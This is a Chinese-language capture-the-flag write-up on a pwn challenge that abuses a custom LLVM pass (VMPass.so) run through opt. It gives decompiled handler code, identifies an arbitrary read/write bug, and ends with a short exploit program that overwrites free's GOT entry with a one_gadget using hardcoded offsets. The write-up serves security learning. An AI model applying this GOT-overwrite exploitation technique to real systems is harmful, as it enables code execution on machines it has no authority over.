文章目录
- 参考
- 检查
- 逆向
- 漏洞
- 思路
- 调试
- 定位到PASS名
- exp
参考
https://bbs.kanxue.com/thread-274259.htm#msg_header_h2_6
http://www.blackbird.wang/2022/08/30/LLVM-PASS%E7%B1%BBpwn%E9%A2%98%E6%80%BB%E7%BB%93/
检查
因为是用opt运行,加载动态库VMPASS.so的PASS类,再通过该PASS类对IR进行优化,所以pwn的是opt
逆向
搜索vtable定位到虚表,最下面的函数就是重写的虚函数runOnFunction
检查你优化的程序中的函数名,存在为o0o0o0o0就会调用sub_6AC0
以块为单位遍历该函数
然后调用sub_6B80处理块
__int64 __fastcall sub_6B80(__int64 a1, llvm::BasicBlock *basic_block)
{
// [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]
command[1] = __readfsqword(0x28u);
command[0] = llvm::BasicBlock::begin(basic_block);
while ( 1 )
{
end = llvm::BasicBlock::end(basic_block);
if ( (llvm::operator!=(command, &end) & 1) == 0 )
break;
v36 = (llvm::Instruction *)llvm::dyn_cast<llvm::Instruction,llvm::ilist_iterator<llvm::ilist_detail::node_options<llvm::Instruction,false,false,void>,false,false>>(command);
if ( (unsigned int)llvm::Instruction::getOpcode(v36) == 55 )// 遇到call指令
{
v35 = (llvm::CallBase *)llvm::dyn_cast<llvm::CallInst,llvm::Instruction>(v36);// 转换为call指令对应的指针
if ( v35 )
{
name = (char *)malloc(0x20uLL);
CalledFunction = (llvm::Value *)llvm::CallBase::getCalledFunction(v35);
v37 = (_QWORD *)llvm::Value::getName(CalledFunction);
*(_QWORD *)name = *v37;
*((_QWORD *)name + 1) = v37[1];
*((_QWORD *)name + 2) = v37[2];
*((_QWORD *)name + 3) = v37[3];
if ( !strcmp(name, "pop") )
{
if ( (unsigned int)llvm::CallBase::getNumOperands(v35) == 2 )
{
ArgOperand = llvm::CallBase::getArgOperand(v35, 0);
v32 = 0LL;
v31 = (llvm::ConstantInt *)llvm::dyn_cast<llvm::ConstantInt,llvm::Value>(ArgOperand);
if ( v31 )
{
ZExtValue = llvm::ConstantInt::getZExtValue(v31);
if ( ZExtValue == 1 )
v32 = off_20DFD0;
if ( ZExtValue == 2 )
v32 = off_20DFC0;
}
if ( v32 )
{
v3 = sp_point;
*v32 = *(_QWORD *)*sp_point;
*v3 = (char *)*v3 - 8;
}
}
}
else if ( !strcmp(name, "push") )
{
if ( (unsigned int)llvm::CallBase::getNumOperands(v35) == 2 )
{
v29 = llvm::CallBase::getArgOperand(v35, 0);
v28 = 0LL;
v27 = (llvm::ConstantInt *)llvm::dyn_cast<llvm::ConstantInt,llvm::Value>(v29);
if ( v27 )
{
v26 = llvm::ConstantInt::getZExtValue(v27);
if ( v26 == 1 )
v28 = off_20DFD0;
if ( v26 == 2 )
v28 = off_20DFC0;
}
if ( v28 )
{
v4 = sp_point;
*sp_point = (char *)*sp_point + 8;
*(_QWORD *)*v4 = *v28;
}
}
}
else if ( !strcmp(name, "store") )
{
if ( (unsigned int)llvm::CallBase::getNumOperands(v35) == 2 )
{
v25 = llvm::CallBase::getArgOperand(v35, 0);
v24 = 0LL;
v23 = (llvm::ConstantInt *)llvm::dyn_cast<llvm::ConstantInt,llvm::Value>(v25);
if ( v23 )
{
v22 = llvm::ConstantInt::getZExtValue(v23);
if ( v22 == 1 )
v24 = off_20DFD0;
if ( v22 == 2 )
v24 = off_20DFC0;
}
if ( v24 == off_20DFD0 )
{
**(_QWORD **)off_20DFD0 = *(_QWORD *)off_20DFC0;
}
else if ( v24 == off_20DFC0 )
{
**(_QWORD **)off_20DFC0 = *(_QWORD *)off_20DFD0;
}
}
}
else if ( !strcmp(name, "load") )
{
if ( (unsigned int)llvm::CallBase::getNumOperands(v35) == 2 )
{
v21 = llvm::CallBase::getArgOperand(v35, 0);
v20 = 0LL;
v19 = (llvm::ConstantInt *)llvm::dyn_cast<llvm::ConstantInt,llvm::Value>(v21);
if ( v19 )
{
v18 = llvm::ConstantInt::getZExtValue(v19);
if ( v18 == 1 )
v20 = off_20DFD0;
if ( v18 == 2 )
v20 = off_20DFC0;
}
if ( v20 == off_20DFD0 )
*(_QWORD *)off_20DFC0 = **(_QWORD **)off_20DFD0;
if ( v20 == off_20DFC0 )
*(_QWORD *)off_20DFD0 = **(_QWORD **)off_20DFC0;
}
}
else if ( !strcmp(name, "add") )
{
if ( (unsigned int)llvm::CallBase::getNumOperands(v35) == 3 )
{
v17 = llvm::CallBase::getArgOperand(v35, 0);
v16 = 0LL;
v15 = (llvm::ConstantInt *)llvm::dyn_cast<llvm::ConstantInt,llvm::Value>(v17);
if ( v15 )
{
v14 = llvm::ConstantInt::getZExtValue(v15);
if ( v14 == 1 )
v16 = off_20DFD0;
if ( v14 == 2 )
v16 = off_20DFC0;
}
if ( v16 )
{
v13 = llvm::CallBase::getArgOperand(v35, 1u);
v12 = (llvm::ConstantInt *)llvm::dyn_cast<llvm::ConstantInt,llvm::Value>(v13);
if ( v12 )
*v16 += llvm::ConstantInt::getZExtValue(v12);
}
}
}
else if ( !strcmp(name, "min") && (unsigned int)llvm::CallBase::getNumOperands(v35) == 3 )
{
v11 = llvm::CallBase::getArgOperand(v35, 0);
v10 = 0LL;
v9 = (llvm::ConstantInt *)llvm::dyn_cast<llvm::ConstantInt,llvm::Value>(v11);
if ( v9 )
{
v8 = llvm::ConstantInt::getZExtValue(v9);
if ( v8 == 1 )
v10 = off_20DFD0;
if ( v8 == 2 )
v10 = off_20DFC0;
}
if ( v10 )
{
v7 = llvm::CallBase::getArgOperand(v35, 1u);
v6 = (llvm::ConstantInt *)llvm::dyn_cast<llvm::ConstantInt,llvm::Value>(v7);
if ( v6 )
*v10 -= llvm::ConstantInt::getZExtValue(v6);
}
}
free(name);
}
}
llvm::ilist_iterator<llvm::ilist_detail::node_options<llvm::Instruction,false,false,void>,false,false>::operator++(
command,
0LL);
}
return 1LL;
}
漏洞
根据指定的寄存器,将指定的寄存器的值指向的内容赋值给另一个寄存器
根据指定的寄存器,将另一个寄存器赋值给指定的寄存器的值指向的内容
存在任意地址读写
思路
没开pie,通过任意地址读写修改修改free的got表为gadget,因为opt优化调用的函数最后会free
不太行,调用的不是pie中的free,使用其他函数在最后的free,
而如果最终到call free的指令,此时rbp为0,会出现段错误
这里参考winmt师傅的做法
选择这个
got表,发现两个got表,都试试吧
第二个失败,上面的那个成功
调试
clang-8 -emit-llvm -S exp.c -o exp.bc或者
clang-8 -emit-llvm -S exp.c -o exp.ll
opt-8 -load ./VMPass.so -VMPass ./exp.bc
调试opt然后跟进到so文件
opt并不会一开始就将so模块加载进来,会执行一些初始化函数才会加载so模块。
调试的时候可以把断点下载llvm::Pass::preparePassManager,程序执行到这里的时候就已经加载了LLVMHello.so文件(或者到main+11507),我们就可以根据偏移进一步将断点下在LLVMHello.so文件里面
查看vmmap,发现已经加载进来,然后可以更加偏移断在runOnFunction上
成功
发现寄存器一开始是零,所以add相当于直接赋值了
找到got表
定位到PASS名
对_cxa_atexit
引用定位(在start函数里)
exp
add第二个参数用64位
void add(int arg1,int arg2);
void load(int arg1);
void store(int arg1);
void o0o0o0o0(){
add(1,0x77e100);
load(1); //将free的got表的内容复制给第二个寄存器
add(2,0x4942e); //free的地址和onegadget的偏移
add(1,0x870);
store(1); //修改free的got表的内容
}//0xe3b04 0xe3b01 0000000000006F8F